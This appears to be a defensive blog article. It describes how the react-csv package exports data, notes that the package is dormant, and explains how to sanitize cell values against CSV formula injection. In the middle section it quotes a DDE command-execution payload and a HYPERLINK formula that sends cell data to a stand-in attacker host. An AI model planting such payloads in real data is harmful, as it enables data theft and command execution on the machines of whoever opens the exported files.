react-csv gives you a drop-in component that turns array or object data into a downloadable CSV, but it does not protect you against CSV formula injection, so sanitizing untrusted cell values is your job, not the library's. It is a genuinely convenient package, and it is also a good case study in the difference between a data formatter and a security control. The two are not the same, and conflating them is how a harmless-looking export button becomes a code-execution path on someone else's machine.
Here is how react csv works and exactly where you have to step in.
What react-csv Gives You
The react-csv package on npm exposes two main pieces: a CSVLink component that renders an anchor which downloads a generated CSV, and a CSVDownload component that triggers a download programmatically. You hand it data and headers, and it produces a correctly formatted file.
import { CSVLink } from "react-csv";
const headers = [
{ label: "Name", key: "name" },
{ label: "Email", key: "email" },
{ label: "Signups", key: "signups" },
];
const data = [
{ name: "Ada Lovelace", email: "ada@example.com", signups: 12 },
{ name: "Alan Turing", email: "alan@example.com", signups: 7 },
];
function ExportButton() {
return (
<CSVLink data={data} headers={headers} filename="users.csv">
Download CSV
</CSVLink>
);
}
That is the entire happy path. Install with npm install react-csv, import the component, pass data, done. It handles quoting, comma escaping, and the download mechanics so you do not hand-roll a Blob and an object URL every time. For a lot of internal dashboards, that is all you need.
A Note on Maintenance
Before you lean on it, know what you are adopting. The latest published version of react-csv on npm is 2.2.2, and it has gone years without a release. It still pulls close to a million downloads a week, so it is not obscure, but by any reasonable definition it is dormant. Snyk's database does not list direct vulnerabilities in the package, which is reassuring, but "no known CVEs" and "actively maintained" are different properties. A dormant dependency will not ship a fix if a bug is found, and it will not track upstream changes in React itself.
None of that is disqualifying for a small, stable utility. It is a reason to keep the dependency on your radar and to not assume future patches will arrive.
The Real Risk: CSV Formula Injection
The security issue with any CSV export, react-csv included, has nothing to do with the library's code quality. It is CSV injection, also called formula injection, and it is a property of how spreadsheet applications open CSV files.
When Excel, LibreOffice Calc, or Google Sheets opens a CSV, it treats any cell whose value begins with =, +, -, or @ as a formula. So if an attacker can get a string like =cmd|'/c calc'!A1 or a formula that calls HYPERLINK or WEBSERVICE into one of your data rows, and that row later gets exported and opened by an unsuspecting colleague, the spreadsheet may execute it. Depending on the application and its macro settings, this ranges from silent data exfiltration via a crafted WEBSERVICE call to, in worst-case configurations, command execution.
The critical point: the injection payload enters your system long before the export. A user signs up with a display name of =HYPERLINK("http://evil.example/?leak="&A2,"click"), it sits harmlessly in your database, and it becomes dangerous only when an admin exports the user list and opens it. react-csv faithfully writes that string into the file, because writing strings is its job. There is an open discussion on the project's own issue tracker asking whether it defends against this, and the answer is that it does not.
How to Sanitize CSV Exports
Because the risk lives in the data, the fix lives in the data. Sanitize every cell value before it reaches the CSV, regardless of which library writes the file. The standard defense, recommended by OWASP, is to prefix any value beginning with a dangerous character so the spreadsheet treats it as text rather than a formula. A leading single quote, or a space, neutralizes the formula interpretation.
function sanitizeCell(value) {
if (typeof value !== "string") return value;
// Neutralize formula triggers: = + - @ and tab / carriage return
if (/^[=+\-@\t\r]/.test(value)) {
return `'${value}`;
}
return value;
}
function sanitizeRows(rows) {
return rows.map((row) => {
const clean = {};
for (const key of Object.keys(row)) {
clean[key] = sanitizeCell(row[key]);
}
return clean;
});
}
// then: <CSVLink data={sanitizeRows(data)} headers={headers} />
Run this over the data you pass to CSVLink, and you have closed the gap the library leaves open. Wrap potentially dangerous values in quotes as well, so an injected value that also contains commas cannot break the row structure. If you are generating exports server-side too, apply the same sanitization there, because you cannot rely on the client having done it.
Should You Use react-csv or Roll Your Own?
For a browser-side download of trusted, internal data, react-csv is fine and saves you real boilerplate. For anything exporting user-generated content, the decision is less about the library and more about your sanitization discipline, which you own either way. If you would rather not carry a dormant dependency, generating a CSV string yourself and triggering a Blob download is only a few dozen lines and lets you bake sanitization in by construction.
Whichever path you pick, treat the export boundary as a security boundary. An SCA tool such as Safeguard can flag when react-csv or its dependency tree picks up a future advisory, which matters more for a package that will not self-heal. If CSV and formula injection is new to you, our security academy covers the injection family with the same defensive framing.
FAQ
Is react-csv still maintained?
Not actively. The current npm version is 2.2.2 and it has not seen a release in years, though it still has heavy weekly download volume. Treat it as a stable but dormant utility and watch it for future advisories.
Does react-csv prevent CSV injection?
No. It formats data into a valid CSV but does not sanitize formula-injection payloads. You must sanitize cell values that begin with =, +, -, or @ before passing them to the component.
How do I prevent CSV formula injection?
Prefix any cell value starting with a formula trigger character with a single quote or space so spreadsheet software treats it as text, and quote values that contain commas or newlines. Apply this on both client and server export paths.
Can CSV injection actually run code?
In some spreadsheet configurations, yes, through functions like WEBSERVICE, HYPERLINK, or legacy DDE, which can exfiltrate data or trigger command execution. Even where execution is blocked, formulas can leak or corrupt data, so sanitization is always warranted.